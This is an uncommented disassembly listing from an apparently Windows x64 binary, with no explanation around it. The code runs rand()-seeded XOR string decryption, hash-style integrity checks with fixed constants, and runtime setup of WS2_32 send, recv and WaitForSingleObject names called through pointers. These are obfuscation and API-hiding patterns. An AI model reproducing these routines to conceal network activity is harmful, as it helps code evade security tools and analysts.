xor sil, r12b
cmovne rdx, qword [rsp + 0x60]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140047642
movzx eax, bl
imul rcx, rax, 0xff
not rcx
movzx eax, byte [rsp + 0x78]
shl rax, 7
sub rcx, rax
and rdx, r9
xor rcx, rdx
mov qword [rbp + 0x298], rcx
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x278]
call fcn.14000a2a0
nop
lea rcx, [rbp + 0x210]
call fcn.1400099b4
nop
cmp byte [0x1406a3911], r13b
jne 0x14004771d
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3911], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.WaitForSingleObject
lea rcx, [rbp + 0x230]
call fcn.140004b9c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], r13
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
lea rcx, [rbp + 0x1d0]
call fcn.140004c7c
mov r15, qword [rbp + 0x1e0]
lea rdi, [rbp + 0x1d0]
mov r12, qword [rbp + 0x1d0]
mov r13, qword [rbp + 0x1e8]
cmp r13, 0x10
cmovae rdi, r12
cmp byte [0x1406a2b50], 0
jne 0x1400479b2
xor esi, esi
lea r14d, [rsi + 1]
lea r13, [0x140000000]
movabs r12, 0x101010101010101
lea rcx, [rsp + 0x60]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r14
xor rax, 0x10
shl rax, 0xa
or rax, r12
mov qword [rsi + r13 + 0x6a2b60], rax
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r14
xor rax, 0x20
shl rax, 0xb
or rax, r12
mov qword [rsi + r13 + 0x6a2be0], rax
lea rcx, [rsp + 0x70]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x60], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r14
xor rax, 0x40
shl rax, 0xc
or rax, r12
mov qword [rsi + r13 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x1400477d6
lea rcx, [rsp + 0x58]
call fcn.140063754
xor ebx, ebx
lea rsi, [0x1406a2ce0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400478e2
sub eax, r14d
or eax, 0xfffffff0
add eax, r14d
add al, r14b
movsx rcx, al
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r14d
add rsi, r14
cmp ebx, 4
jb 0x1400478cc
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2ce8]
lea r12d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004792f
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 8
jb 0x140047919
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
mov r12, qword [rbp + 0x1d0]
lea r13d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140047982
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r13d
add r14, r13
cmp esi, 0xc
jb 0x14004796c
mov rsi, r13
mov byte [0x1406a2b50], sil
mov r13, qword [rbp + 0x1e8]
jmp 0x1400479b7
mov esi, 1
test r15, r15
je 0x140047aa8
xor ebx, ebx
test r15, r15
je 0x140047aa8
lea r14, [0x140000000]
xor r8d, r8d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + r14 + 0x6a2b60]
mov byte [rdi], dl
add r9d, esi
add r10, rsi
cmp r9d, 8
jb 0x1400479e4
add r8d, esi
add r11, rsi
cmp r8d, 4
jb 0x1400479de
xor r10d, r10d
lea r11, [0x1406a2ce8]
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + r14 + 0x6a2be0]
mov byte [rdi], dl
add r8d, esi
add r9, rsi
cmp r8d, 8
jb 0x140047a1e
add r10d, esi
add r11, rsi
cmp r10d, 8
jb 0x140047a18
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + r14 + 0x6a2b60]
mov byte [rdi], dl
add r10d, esi
add r11, rsi
cmp r10d, 8
jb 0x140047a58
add r8d, esi
add r9, rsi
cmp r8d, 0xc
jb 0x140047a52
add ebx, esi
add rdi, rsi
movsxd rax, ebx
cmp rax, r15
jb 0x1400479d2
mov r13, qword [rbp + 0x1e8]
mov r15, qword [rbp + 0x1e0]
mov r12, qword [rbp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
and qword [rbp + 0x200], 0
and qword [rbp + 0x208], 0
lea rdx, [rbp + 0x1d0]
cmp r13, 0x10
cmovae rdx, r12
mov r8, r15
lea rcx, [rbp + 0x1f0]
call fcn.140004c7c
lea rax, [rbp + 0x1f0]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0x10
cmovae rdx, qword [rbp + 0x1f0]
mov qword [rsp + 0x58], rdx
cmp byte [0x1406a2d01], 0
jne 0x140047b58
movabs r8, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rbx, [0x1406a3908]
mov edx, 0xffffffff
movabs r9, 0xababdbf33353735b
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, rdx
add rcx, 8
cmp rcx, rbx
jl 0x140047b37
mov byte [0x1406a2d01], sil
mov rdx, qword [rsp + 0x58]
lea rbx, [0x1406a3110]
movabs rax, 0xfae9e8d7c6b5a493
mov qword [rsp + 0x50], rax
xor r11d, r11d
mov r9, rax
mov r8, qword [rbp + 0x200]
test r8, r8
je 0x140047bbd
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, esi
add rax, rsi
cmp r9d, 8
jb 0x140047b8e
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, esi
add r10, rsi
movsxd rax, r11d
cmp rax, r8
jb 0x140047b83
movabs r13, 0xaebdccdb0a192837
mov rdi, r13
movzx r14d, byte [rdx]
cmp r8, rsi
jbe 0x140047bda
mov bl, byte [r8 + rdx - 1]
jmp 0x140047bdc
mov bl, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, esi
cmp eax, 8
jb 0x140047bee
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor sil, sil
xor r10d, r10d
lea r15, [r8*8]
xor r11d, r11d
lea r12d, [r10 + 1]
mov eax, r10d
test r10d, r10d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r13
mov qword [rsp + 0x58], rdi
mov al, byte [rsp + r11 + 0x58]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor sil, r12b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140047c17
movzx eax, bl
imul rcx, rax, 0xff
not rcx
mov rax, r14
shl rax, 7
sub rcx, rax
and rdx, r9
xor rcx, rdx
mov qword [rbp + 0x298], rcx
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x278]
call fcn.14000a2a0
nop
lea rcx, [rbp + 0x1f0]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x1d0]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x230]
call fcn.1400099b4
nop
lea rdx, [rbp + 0x278]
cmp qword [rbp + 0x290], 0x10
cmovae rdx, qword [rbp + 0x278]
cmp byte [0x1406a2d01], 0
jne 0x140047d57
movabs r8, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rdi, [0x1406a3908]
movabs r9, 0xababdbf33353735b
mov r13d, 0xffffffff
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, r13
add rcx, 8
cmp rcx, rdi
jl 0x140047d34
mov esi, 1
mov byte [0x1406a2d01], sil
jmp 0x140047d5c
mov esi, 1
lea rdi, [0x1406a3110]
movabs rax, 0xfae9e8d7c6b5a493
mov qword [rsp + 0x50], rax
xor ebx, ebx
mov r10, rax
mov r9, qword [rbp + 0x288]
test r9, r9
je 0x140047dbf
mov r11, rdx
xor r8d, r8d
mov cl, byte [r11]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r8d, esi
add rax, rsi
cmp r8d, 8
jb 0x140047d91
not cl
movzx eax, cl
mov r10, qword [rsp + 0x50]
xor r10, qword [rdi + rax*8]
mov qword [rsp + 0x50], r10
add ebx, esi
add r11, rsi
movsxd rax, ebx
cmp rax, r9
jb 0x140047d86
movabs rdi, 0xaebdccdb0a192837
movzx r14d, byte [rdx]
cmp r9, rsi
jbe 0x140047dd9
mov bl, byte [r9 + rdx - 1]
jmp 0x140047ddb
mov bl, 0xae
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x68], r9
xor eax, eax
mov cl, r9b
mov dl, r9b
xor cl, r14b
xor dl, bl
add eax, esi
cmp eax, 8
jb 0x140047ded
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor sil, sil
xor r8d, r8d
lea r15, [r9*8]
xor r11d, r11d
lea r13d, [r8 + 1]
mov r12, rdi
mov eax, r8d
test r8d, r8d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r9
shl rax, cl
xor rdi, rax
xor rdi, r12
mov qword [rsp + 0x58], rdi
mov al, byte [rsp + r11 + 0x58]
xor byte [rsp + r11 + 0x50], al
lea eax, [r8*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor sil, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r8d, r13d
add r11, r13
cmp r8d, 8
jb 0x140047e19
movzx eax, bl
imul r8, rax, 0xff
not r8
mov rax, r14
shl rax, 7
sub r8, rax
and r10, rdx
xor r8, r10
mov rdx, qword [rbp + 0x298]
cmp r8, rdx
mov r12, qword [rbp + 0x278]
mov r13, qword [rbp + 0x290]
je 0x140047efa
mov rbx, qword [0x1406a3908]
lea rcx, [rbp + 0x338]
call fcn.14002d4ec
lea rdx, [rbp + 0x278]
mov rcx, rax
call rbx
mov r13, qword [rbp + 0x290]
mov r9, qword [rbp + 0x288]
mov r12, qword [rbp + 0x278]
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
lea rdx, [rbp + 0x278]
cmp r13, 0x10
cmovae rdx, r12
mov r8, r9
lea rcx, [rbp + 0x230]
call fcn.140004c7c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xor r14d, r14d
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], r14
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
lea rcx, [rbp + 0x1b0]
call fcn.140004c7c
mov r15, qword [rbp + 0x1c0]
lea rdi, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdi, qword [rbp + 0x1b0]
mov qword [rsp + 0x58], rdi
lea r13d, [r14 + 1]
lea r12, [0x140000000]
cmp byte [0x1406a2b50], r14b
jne 0x140048185
mov esi, r14d
movabs rdi, 0x101010101010101
lea rcx, [rsp + 0x60]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r13
xor rax, 0x10
shl rax, 0xa
or rax, rdi
mov qword [rsi + r12 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r13
xor rax, 0x20
shl rax, 0xb
or rax, rdi
mov qword [rsi + r12 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x60], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r13
xor rax, 0x40
shl rax, 0xc
or rax, rdi
mov qword [rsi + r12 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x140047fbb
lea rcx, [rsp + 0x60]
call fcn.140063754
mov ebx, r14d
lea rsi, [0x1406a2ce0]
mov rdi, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400480cc
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r13d
add rsi, r13
cmp ebx, 4
jb 0x1400480b6
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
mov esi, r14d
lea r14, [0x1406a2ce8]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140048116
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r13d
add r14, r13
cmp esi, 8
jb 0x140048100
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004815e
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r13d
add r14, r13
cmp esi, 0xc
jb 0x140048148
mov byte [0x1406a2b50], r13b
xor r14d, r14d
test r15, r15
je 0x140048253
mov ebx, r14d
mov r8d, r14d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
mov r9d, r14d
mov r10, r14
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + r12 + 0x6a2b60]
mov byte [rdi], dl
add r9d, r13d
add r10, r13
cmp r9d, 8
jb 0x1400481a3
add r8d, r13d
add r11, r13
cmp r8d, 4
jb 0x14004819d
mov r10d, r14d
lea r11, [0x1406a2ce8]
mov r8d, r14d
mov r9, r14
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + r12 + 0x6a2be0]
mov byte [rdi], dl
add r8d, r13d
add r9, r13
cmp r8d, 8
jb 0x1400481dd
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x1400481d7
mov r8d, r14d
lea r9, [0x1406a2cf0]
mov r10d, r14d
mov r11, r14
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + r12 + 0x6a2b60]
mov byte [rdi], dl
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x140048217
add r8d, r13d
add r9, r13
cmp r8d, 0xc
jb 0x140048211
add ebx, r13d
add rdi, r13
movsxd rax, ebx
cmp rax, r15
jb 0x140048191
lea rcx, [rbp + 0x230]
call fcn.1400099b4
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp - 0x80]
call qword [0x14021d100]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x1b0]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x278]
call fcn.14002f208
lea rax, [rbp + 0x2c0]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], r14
mov qword [rbp + 0x2d8], r14
xor r8d, r8d
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x2c0]
call fcn.140004b9c
nop
xor eax, eax
mov qword [rbp + 0x2e0], rax
cmp byte [0x1406a3910], r14b
jne 0x140048301
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3910], r13b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], r14
xor r8d, r8d
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x1b0]
call fcn.140004b9c
lea rax, [rbp + 0x1b0]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdx, qword [rbp + 0x1b0]
cmp byte [0x1406a2d01], r14b
jne 0x14004839e
movabs r8, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rbx, [0x1406a3908]
movabs r9, 0xababdbf33353735b
mov r12d, 0xffffffff
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, r12
add rcx, 8
cmp rcx, rbx
jl 0x140048382
mov byte [0x1406a2d01], r13b
lea rbx, [0x1406a3110]
movabs r13, 0xfae9e8d7c6b5a493
mov qword [rsp + 0x50], r13
mov r11d, r14d
mov r9, r13
mov r8, qword [rbp + 0x1c0]
mov esi, 1
test r8, r8
je 0x140048408
mov r10, rdx
mov r9d, r14d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, esi
add rax, rsi
cmp r9d, 8
jb 0x1400483d9
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, esi
add r10, rsi
movsxd rax, r11d
cmp rax, r8
jb 0x1400483ce
movabs rdi, 0xaebdccdb0a192837
movzx r14d, byte [rdx]
cmp r8, rsi
jbe 0x140048422
mov bl, byte [r8 + rdx - 1]
jmp 0x140048424
mov bl, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, esi
cmp eax, 8
jb 0x140048436
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor sil, sil
xor r10d, r10d
lea r15, [r8*8]
xor r11d, r11d
lea r12d, [r10 + 1]
mov r13, rdi
mov eax, r10d
test r10d, r10d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r13
mov qword [rsp + 0x58], rdi
mov al, byte [rsp + r11 + 0x58]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor sil, r12b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140048462
movzx eax, bl
imul rcx, rax, 0xff
not rcx
mov rax, r14
shl rax, 7
sub rcx, rax
and rdx, r9
xor rcx, rdx
mov qword [rbp + 0x2e0], rcx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2c0]
call fcn.14000a2a0
nop
lea rcx, [rbp + 0x1b0]
call fcn.1400099b4
nop
cmp byte [0x1406a3911], 0
movabs r13, 0xfae9e8d7c6b5a493
movabs r12, 0xfeeddccbbaa99887
mov r14d, 1
jne 0x140048555
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3911], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
mov r8d, recv
lea rdx, [0x1402231c0]
lea rcx, [rbp + 0x1f0]
call fcn.140004b9c
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x230]
call fcn.14002b864
mov r15, qword [rbp + 0x240]
lea rdi, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdi, qword [rbp + 0x230]
mov qword [rsp + 0x58], rdi
cmp byte [0x1406a2b50], 0
jne 0x1400487be
xor esi, esi
lea r13, [0x140000000]
movabs rdi, 0x101010101010101
lea rcx, [rsp + 0x60]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r14
xor rax, 0x10
shl rax, 0xa
or rax, rdi
mov qword [rsi + r13 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r14
xor rax, 0x20
shl rax, 0xb
or rax, rdi
mov qword [rsi + r13 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x60], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r14
xor rax, 0x40
shl rax, 0xc
or rax, rdi
mov qword [rsi + r13 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x1400485da
lea rcx, [rsp + 0x60]
call fcn.140063754
xor ebx, ebx
lea rsi, [0x1406a2ce0]
mov rdi, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400486ea
sub eax, r14d
or eax, 0xfffffff0
add eax, r14d
add al, r14b
movsx rcx, al
mov rax, qword [rsp + 0x60]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r14d
add rsi, r14
cmp ebx, 4
jb 0x1400486d4
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2ce8]
lea r13d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140048737
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r13d
add r14, r13
cmp esi, 8
jb 0x140048721
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
movabs r13, 0xfae9e8d7c6b5a493
lea r12d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004878d
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x140048777
mov r14, r12
mov byte [0x1406a2b50], r14b
movabs r12, 0xfeeddccbbaa99887
test r15, r15
je 0x140048898
xor ebx, ebx
test r15, r15
je 0x140048898
lea rsi, [0x140000000]
xor r8d, r8d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r9d, r14d
add r10, r14
cmp r9d, 8
jb 0x1400487eb
add r8d, r14d
add r11, r14
cmp r8d, 4
jb 0x1400487e5
xor r10d, r10d
lea r11, [0x1406a2ce8]
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r8d, r14d
add r9, r14
cmp r8d, 8
jb 0x140048824
add r10d, r14d
add r11, r14
cmp r10d, 8
jb 0x14004881e
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r14d
add r11, r14
cmp r10d, 8
jb 0x14004885d
add r8d, r14d
add r9, r14
cmp r8d, 0xc
jb 0x140048857
add ebx, r14d
add rdi, r14
movsxd rax, ebx
cmp rax, r15
jb 0x1400487d9
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x1d0]
call fcn.14002b864
mov qword [rsp + 0x58], rax
mov r8, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400488c1
mov rdx, qword [rax]
cmp byte [0x1406a2d01], 0
jne 0x140048906
mov r9, r12
lea rcx, [0x1406a3110]
lea rdi, [0x1406a3908]
mov ebx, 0xffffffff
movabs r10, 0xababdbf33353735b
mov rax, r9
xor rax, r10
mov qword [rcx], rax
sub r9, rbx
add rcx, 8
cmp rcx, rdi
jl 0x1400488ea
mov byte [0x1406a2d01], r14b
lea rdi, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
test r8, r8
je 0x14004895a
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r14d
add rax, r14
cmp r9d, 8
jb 0x14004892b
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rdi + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r14d
add r10, r14
movsxd rax, r11d
cmp rax, r8
jb 0x140048920
movabs rsi, 0xaebdccdb0a192837
movzx r15d, byte [rdx]
cmp r8, r14
jbe 0x140048974
mov dil, byte [r8 + rdx - 1]
jmp 0x140048977
mov dil, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r15b
xor dl, dil
add eax, r14d
cmp eax, 8
jb 0x140048989
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor r14b, r14b
xor r10d, r10d
lea r12, [r8*8]
xor r11d, r11d
mov rbx, rsi
lea r13d, [r10 + 1]
mov eax, r10d
test r10d, r10d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r12
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rsi, rax
xor rsi, rbx
mov qword [rsp + 0x70], rsi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor r14b, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x1400489b7
movzx eax, dil
imul rcx, rax, 0xff
not rcx
mov rax, r15
shl rax, 7
sub rcx, rax
and rdx, r9
xor rcx, rdx
